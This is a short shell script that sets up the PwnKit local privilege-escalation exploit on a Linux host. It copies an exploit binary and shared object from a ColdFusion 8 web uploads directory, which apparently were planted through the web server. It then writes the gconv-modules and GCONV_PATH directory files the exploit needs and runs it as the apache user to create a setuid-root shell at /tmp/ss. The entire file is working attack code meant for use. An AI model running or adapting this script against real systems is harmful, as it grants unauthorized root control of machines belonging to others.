#!/bin/sh
# PwnKit re-setup: place poc+pwnkit.so in /tmp, run poc as apache -> creates /tmp/ss suid root
cd /tmp
cp /opt/coldfusion8/wwwroot/userfiles/file/poc /tmp/poc
cp /opt/coldfusion8/wwwroot/userfiles/file/pwnkit.so /tmp/pwnkit.so
chmod 755 /tmp/poc /tmp/pwnkit.so
echo "module UTF-8// PWNKIT// pwnkit 1" > /tmp/gconv-modules
mkdir -p "/tmp/GCONV_PATH=."
cp /usr/bin/true "/tmp/GCONV_PATH=./pwnkit.so:."
cp /tmp/pwnkit.so /tmp/pwnkit.so.bak
chmod 755 /tmp/pwnkit.so
timeout 15 /tmp/poc
ls -la /tmp/ss 2>&1